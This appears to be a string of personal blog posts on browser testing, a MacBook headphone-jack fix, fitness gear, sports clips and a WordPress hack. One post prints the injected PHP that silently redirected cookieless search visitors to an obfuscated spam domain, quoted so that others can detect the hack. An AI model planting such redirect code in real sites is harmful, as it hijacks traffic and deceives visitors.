jammer(six)

Here’s a quick tip for those of you that need to check web layouts on a variety of platforms/browsers…

If you want to check how your pages look in a variety of Windows-based browsers, check out BrowserShots.org. This is a free service that offers screenshots using a wide variety of browsers on multiple platforms.

This is especially useful for Mac users (such as myself) who need to be sure that things look okay when viewed with Internet Explorer. In fact, I’ve been using it quite heavily over the past few days, as I’ve been working on a new layout for my personal finance and parenting sites. While I’ve used Parallels Desktop to check browser compatibility in the past, BrowserShots gives me access to a much wider variety of browsers. And best of all, it also allows me to stop bugging my Windows-based friends for help — thanks Jim and MBH!

The other night I let our three year old watch some videos on my MacBook Pro. Since we were sitting in the living room in the midst of things, I had him wear headphones. All was well until the next day when I realized that my computer wasn’t making any sound. When I looked at the headphone jack, I noticed that there was a red LED light glowing inside. After digging around on the Apple Discussion forums, I was able to solve the problem.

In short, it seems that there’s a little switch inside the headphone jack that toggles between analog and digital sound, and it was stuck such that my computer was trying to provide optical audio output. I tried plugging and unplugging the headphones, but the red LED remained on, and my computer remained silent. I also tried to play around with the sound settings as well as the settings in the Audio MIDI utility, but the options that I needed were greyed out.

The solution that I ran across was to gently insert a toothpick into the headphone jack and wiggle it around. More specifically, work the tip of the toothpick around on the bottom of the headphone jack. In my case, it took just a second or two to jiggle the switch back to its default position, extinguishing the red LED and restoring sound to my built-in speakers.

Last night I was messing around with sites and I inadvertently crippled my personal finance site. I’ve created a sandbox of sorts , but it wasn’t working properly. I eventually realize that this was because I hadn’t created an .htaccess file for WordPress to store info about redirects. To make a long story short, I fired up my FTP client and copied the file over — or so I thought.

When I awoke this morning, traffic to FiveCentNickel was low and a quick check of my SiteMeter referral logs revealed that I was barely getting any search traffic. I loaded the front page and all appeared to be fine. I was afraid that I had been hacked (again), but was showing no signs of it aside from a lack of search traffic.

I couldn’t figure out what was going on until I tried clicking an internal link. When I did that, I just got an error instead of the article that I had clicked on. When I dug deeper, I realized that this happened because I had moved my .htaccess file instead of copying it. Aaaargh!

The good news is that I did this late on a Sunday evening, and discovered the problem early Monday morning. There wasn’t much too lose during those few hours. And… I’ve learned a valuable lesson.

I just started working toward 100 pushups tonight. We’ll see how it goes, but it seems like a reasonable goal that I can work into my regular fitness routine.

As an aside, I’d forgotten how complete an upper body workout you can get from pushups. Way more abs involved than I remembered (I’ve mostly been doing dumbbell work on a bench).

Who’s with me?

[Hat tip to Blaine Moore for pointing this out.]

Apparently the WordPress search redirect hack that I reported on the other day is fairly widespread. Moreover, it’s been taking down sites running WordPress installs as late as ver. 2.5.1, so upgrading won’t necessarily protect you (example).

sidebar: According to Donncha, 2.5.x is not vulnerable to this, but I’ve personally seen a number of 2.5.x sites that are afflicted. One commonality is that many (all?) of these sites are on DreamHost. I wonder if the hackers have somehow compromised DreamHost, and are attacking the 2.5.x installs from the inside (?). Or perhaps they were compromised before upgrading. Just musing — no evidence of that so far. /sidebar

While the nefarious code was, in my case, included in index.php, others are reporting that it may involve a corrupted image file set in the wp_options database table to act as a plugin.

Here are some related articles on the topic: link, link, link

Some DigitalPoint threads: link, link

And some WordPress support threads: link, link

And, finally, video on fixing the problem if you have the plugin version: link

(Thanks to Patrick for the video link.)

It’s still unclear how the affected sites were compromised.

To find out if you’re affected:

Clear cookies, run a Google search for your site, and then click through. If you wind up at your site you’re probably okay. If it redirects to (or through) anyresults.net, then you’ve been hacked. If I were you, I’d try this a couple of times as the cookie that hides the hack seems to stick in some browsers.

Update: Be sure to read the GRS post about getting rid of this thing. I just discovered that I had an extraneous user created at 00:00:00 on 0000-00-00. Unlike JD, however, I haven’t discovered any other database changes — perhaps because I was running an older version of WP (2.3.3) which was easier to take down (?).

Check this out:

Ump Hit With Pitch

A Georgia high school catcher ducked during a playoff game and let a pitch hit the ump in the face. And now… The college he was going to play for no longer wants him, the high school was fined $1k, and the coaches have to go to sportsmanship training.

Apparently the pitcher’s older brother was called out on strikes during the previous inning and got into an argument with the ump. Accident? I think not.

After yesterday’s excitement with one of my WordPress installs getting hacked, I though I’d point out this article on securing WordPress. I haven’t read it closely yet, but it looks useful.

Something scary happened today over at FiveCentNickel. Around 3:30 EDT today I noticed that traffic to the site was lagging way behind normal. Upon further investigation, I realized that my search traffic had all but dried up. Thinking I had been banned by Google, I dug deeper.

Oddly enough, I still ranked well for all of the terms that had brought me traffic in the past. So what was happening? If I was still ranking well in the SERPs, why weren’t people clicking through?

Unsure of what else to do, I enlisted the help of Jim, Flexo, and Clever Dude and sent a shout out to all who are following me on Twitter. Among other things, I asked these guys to search for a few keywords to see if my rankings were holding up.

My search results were just fine, ruling out the possibility that Google had rolled out new search data that excluded little old me, and it just hadn’t filtered down to our neck of the woods.

And then it happened…

Clever Dude clicked on a Google search result and was redirected elsewhere. But when he clicked it again, all was well. When I reported this via IM to Jim, he checked it out and saw something similar.

As it turns out, I was the victim of a WordPress hack that stole pretty much all of my search traffic, but somehow hid itself using cookies. Upon further inspection, I discovered the following bit of code at the top of index.php:

$ser=0; foreach($seref as $ref) if(strpos(strtolower($_SERVER['HTTP_REFERER']),$ref)!==false){ $ser="1"; break; }
if($ser=="1" && sizeof($_COOKIE)==0){ header("Location: http://".base64_decode("YW55cmVzdWx0cy5uZXQ=")."/"); exit; }?>

If you hit Google without the cookie and tried to click through to my site, you were directed elsewhere. But once it happened to you once, it couldn’t be repeated until you cleared your cookies. Very sneaky.

So where was all of my traffic going?

It was being shunted through www.anyresult.net (no link for you!) and then winding up at an spammy, ad-filled landing page on www.dealtime.com (again, no link for you — I’ve helped enough today). I suspect that dealtime.com had likewise been compromised, though I can’t say for sure.

I’m still not sure how they got in, but I’ve reported it to my host, cleaned everything up, and changed all of my passwords. For reference, I was running WordPress 2.3.3, though I have since upgraded to WordPress 2.5.1.

Before you ask, yes, I’m aware that I was taking a slight risk by running a slightly older version of WordPress. In my defense, however, early releases of major WordPress updates often have numerous bugs of their own. As such, I typically wait until at X.X.2 before upgrading unless a serious hole is discovered in the version that I’m currently using.

Update: All WordPress versions appear to be vulnerable.

Guess what? I just found one.

Earlier this spring, I started getting serious about fitness. Given that we have four young kids, time is of the essence, and neither my wife nor I have the time or inclination to head to the gym. On top of that, I’ve always hated running, and it can get brutally hot in the summer ’round these parts, which makes it tough to exercise outside.

So… I’ve put together a home gym of sorts that lets me get a fairly complete workout in the convenience of my own home. The components:

» Concept2 Model E Rowing Machine (Erg)
» PowerBlock Personal Adjustable Dumbbell Set
» Adjustable incline bench (sorta like that, but the seat is angled up)

This stuff takes up roughly half of the spare bedroom/office upstairs and allows me to get a good, full body cardio workout (rowing) plus a bit of weight training. I’ve been at it since early March and I’m finally got to the point where I miss my workouts if I don’t do them.

My goals are pretty straightforward at this point. I try to row as often as possible, and I never skip more than one day in a row. Typical sessions are 6-8k, somewhere in the 25-35 minute range, though I’m working on extending them. I combine the rowing with dumbbell work three or so times per week. I’m shooting for a minimum of 100k meters per month which, as it turns out, is actually pretty easy to achieve — I should probably increase it.

My wife, on the other hand, has been a long-time runner. Unfortunately, the year and miles have finally begun to catch up with her, and we recently decided to part ways with our trusty treadmill and replace it with a nice elliptical. After much consideration, we settled on the Life Fitness X5. Not cheap by any stretch of the imagination, but it’s the sort of thing that gets used all the time.

I haven’t done much with it myself, primarily because my heart rate monitor from the erg isn’t compatible with the elliptical. My wife snagged the Polar heart rate monitor that came with it (my erg came with a Suunto) and we’re not crazy about the idea of sharing a sweaty chest belt. Thus, until I find the time to buy myself a Polar, I’ll probably stick with the erg.

I should note, however, that I’ve used a Life Fitness elliptical in the past (including while we were on our Disney Cruise) and I actually quite liked thitem, despite my aversion to running. And more importantly, my wife absolutely loves it.

Car Plows Into Mexican Bike Race

Holy crap.

[Via: Blaine Moore's Twitter Feed]